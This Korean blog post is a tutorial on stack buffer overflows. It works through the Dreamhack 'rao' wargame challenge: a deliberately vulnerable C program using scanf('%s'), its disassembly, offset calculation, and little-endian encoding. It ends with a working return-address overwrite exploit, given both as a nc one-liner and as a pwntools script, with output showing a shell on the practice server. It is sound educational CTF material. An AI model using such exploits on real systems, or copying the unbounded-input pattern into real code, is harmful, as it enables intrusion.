스택 버퍼 오버플로우
1. 스택 버퍼 오버플로우
1. 버퍼 (Buffer)
버퍼는 데이터가 목적지로 이동되기 전에 보관되는 임시 저장소의 의미로 쓰인다.
버퍼는 데이터의 처리 속도가 다른 두 장치가 있을 때, 이 둘 사이에 오가는 데이터를 임시로 저장해 완충 작용을 한다.
즉 수신측과 송신 측 사이에 버퍼라는 임시 저장소를 두고, 이를 통해 간접적으로 데이터를 전달하게 한다.
이렇게 하면 버퍼가 가득 찰 때까지는 유실되는 데이터 없이 통신할 수 있다.
빠른 속도로 이동하던 데이터가 안정적으로 목적지에 도달할 수 있도록 완충 작용을 하는 것이 버퍼의 역할이다.
현대에는 이런 완충의 의미가 많이 희석되어 데이터가 저장될 수 있는 모든 단위를 버퍼라고 부르기도 한다.
스택에 있는 지역변수는 스택 버퍼, 힙에 할당된 메모리는 힙 버퍼 라고 불린다.
2. 버퍼 오버플로우 (Buffer Overflow)
버퍼 오버플로우는 문자 그대로 버퍼가 넘치는 것이다.
일반적으로 버퍼는 메모리상에서 연속해서 할당되어 있으므로 어떤 버퍼에서 오버플로우가 발생하면,
뒤에 있는 버퍼들의 값이 조작될 위험이 있다.
버퍼 오버플로우 BOF 는 일반적으로 큰 보안 위협으로 이어진다.
스택 구간에서 발생하는 BOF 를 스택 버퍼 오버플로우라고 한다.
스택 버퍼 오버플로우가 발생하면 스택 내의 RET 주소를 조작할 수 있게 된다.
RET 가 조작되면 함수의 복귀 주소가 조작되며, 해커가 원하는 대로 프로그램의 실행 흐름을 바꿀 수 있다.
2. Return Address Overwirte
1. 코드 확인 (취약점)
스택 버퍼 오버플로우가 발생하는 예제 코드를 확인해보자
// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf);
return 0;
}
위의 코드에서 취약점은 scanf("%s", buf) 에 있다
scanf("%s", buf);
scanf 함수의 포맷스트링 %s 는 문자열을 입력받을 때 사용한다.
하지만 입력의 길이를 제한하지 않으며, 공백 문자가 들어올 때까지 계속 입력을 받는다는 특징이 있다.
이로 인해 buf는 0x28 의 크기이지만 그 이상을 입력받아 BOF 가 발생하게 된다.
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
셸을 실행 할 수 있는 get_shell 함수도 코드안에 포함되어 있다.
2. 스택 프레임 구조 파악
main 함수의 어셈블리 코드를 확인해보자
pwndbg> disass main
Dump of assembler code for function main:
0x00000000004006e8 <+0>: push rbp
0x00000000004006e9 <+1>: mov rbp,rsp
0x00000000004006ec <+4>: sub rsp,0x30
0x00000000004006f0 <+8>: mov eax,0x0
0x00000000004006f5 <+13>: call 0x400667 <init>
0x00000000004006fa <+18>: lea rdi,[rip+0xbb] # 0x4007bc ; "Input: "
0x0000000000400701 <+25>: mov eax,0x0
0x0000000000400706 <+30>: call 0x400540 <printf@plt> ; printf("Input: ")
0x000000000040070b <+35>: lea rax,[rbp-0x30] ; buf = rbp-0x30
0x000000000040070f <+39>: mov rsi,rax
0x0000000000400712 <+42>: lea rdi,[rip+0xab] # 0x4007c4 ; "%s"
0x0000000000400719 <+49>: mov eax,0x0
0x000000000040071e <+54>: call 0x400570 <__isoc99_scanf@plt> ; scanf("%s", rbp-0x30)
0x0000000000400723 <+59>: mov eax,0x0
0x0000000000400728 <+64>: leave
0x0000000000400729 <+65>: ret
End of assembler dump.
scanf 를 확인하면
scanf("%s", rbp-0x30);
오버플로우를 발생시킬 버퍼는 rbp-0x30에 위치한다.
스택 프레임을 확인하면 rbp에 스택 프레임 포인터(SFP)가 저장되고,
rbp+0x8 에는 반환주소(RET) 가 저장된다.
(64bit 이므로 SFP 의 크기는 0x8)
입력할 버퍼와 RET 사이에 0x38 만큼의 거리가 있다.
0x38만큼 쓰레기값 (dummy) 로 채우고 반환주소(RET)에 get_shell 함수 주소를 넣으면 셸을 획득할 수 있다.
3. get_shell 주소 확인
get_shell 함수 코드이다.
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
gdb 를 이용해서 get_shell 함수의 주소를 알아낸다.
pwndbg> p get_shell
$1 = {<text variable, no debug info>} 0x4006aa <get_shell>
get_shell 함수의 주소는 0x4006aa 이다.
4. 페이로드 (Payload) 구성
시스템 해킹에서 페이로드(Payload)는 공격을 위해 프로그램에 전달하는 데이터를 의미한다.
앞에서 파악한 정보를 바탕으로
buf 에 0x30 만큼의 쓰레기값(dummy) 을 집어넣고
0x8 만큼의 쓰레기값(dummy) 을 집어넣어 SFP 까지 조작한다.
그 다음으로 반환주소(RET)에 get_shell 함수의 주소를 집어넣으면 get_shell 함수가 실행되어 셸을 실행시킬 수 있다.
5. 엔디언 (Endian)
엔디언은 메모리에서 데이터가 정렬되는 방식이다.
리틀 엔디언(Little-Endian, LE) 과 빅 엔디언(Big-Endian, BE) 이 사용된다.
리틀 엔디언은 하위 비트부터 바이트 단위로 저장한다.
0x12345678 을 리틀 엔디언으로 저장하면 다음과 같이 저장된다.
리틀 엔디언은 인텔 x86, x86-64, ios, playstation 등 대부분의 데스크톱 컴퓨터는 리틀 엔디안을 사용한다.
빅 엔디언은 상위 비트부터 바이트 단위로 저장한다.
0x12345678 을 빅 엔디언으로 저장하면 다음과 같이 저장된다.
빅 엔디언은 네트워크 통신에서 사용된다.
x86-64 아키텍처를 사용하므로 get_shell 함수의 주소는 리틀 엔디언 방식으로 전달되어야 한다.
get_shell 함수의 주소는 0x4006aa 이다.
리틀 엔디언으로 변환하면 /xaa/x06/x40/x00/x00/x00/x00/x00 으로 전달되어야 한다.
3. Exploit
1. Exploit Code
리틀 엔디언을 적용하여 페이로드(Payload)를 작성하고 아래 커맨드로 rao 에 전달하면 셸을 획득할 수 있다.
(python -c "import sys;sys.stdout.buffer.write(b'A'*0x30 + b'B'*0x8 + b'\xaa\x06\x40\x00\x00\x00\x00\x00')";cat)| nc host3.dreamhack.games 12133
위의 코드를 실행하면
$ (python -c "import sys;sys.stdout.buffer.write(b'A'*0x30 + b'B'*0x8 + b'\xaa\x06\x40\x00\x00\x00\x00\x00')";cat)| nc host3.dreamhack.games 12133
Input:
id
uid=1000(rao) gid=1000(rao) groups=1000(rao)
셸을 획득한 것을 확인할 수 있다
2. Exploit Code (pwntools)
pwntools 를 이용해서 셸을 획득할 수도 있다
from pwn import *
context.log_level = "debug"
context(arch="amd64", os="linux")
p = remote("host3.dreamhack.games", 12133)
get_shell = 0x4006aa
payload = b'A' * 0x30
payload += b'A' * 0x8
payload += p64(get_shell)
p.sendafter("Input: ", payload)
p.interactive()
위와 같이 페이로드 코드를 작성하고 실행하면
$ python3 ./payload.py
[+] Opening connection to host3.dreamhack.games on port 12133: Done
/home/codespace/.python/current/lib/python3.10/site-packages/pwnlib/tubes/tube.py:831: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
[DEBUG] Received 0x7 bytes:
b'Input: '
[DEBUG] Sent 0x40 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000030 41 41 41 41 41 41 41 41 aa 06 40 00 00 00 00 00 │AAAA│AAAA│··@·│····│
00000040
[*] Switching to interactive mode
$
[DEBUG] Sent 0x1 bytes:
b'\n'
$ id
[DEBUG] Sent 0x3 bytes:
b'id\n'
[DEBUG] Received 0x2d bytes:
b'uid=1000(rao) gid=1000(rao) groups=1000(rao)\n'
uid=1000(rao) gid=1000(rao) groups=1000(rao)
셸을 획득한 것을 확인할 수 있다.
'Hacking > Pwnable' 카테고리의 다른 글
스택 카나리 (Stack Canary) (0) | 2024.05.03 |
---|---|
셸코드 (Shellcode) (0) | 2024.04.29 |
함수 호출 규약 (Calling Convention) (0) | 2024.03.27 |
스택 프레임 (Stack Frame) (0) | 2024.03.24 |
어셈블리어 (Assembly) (0) | 2024.03.22 |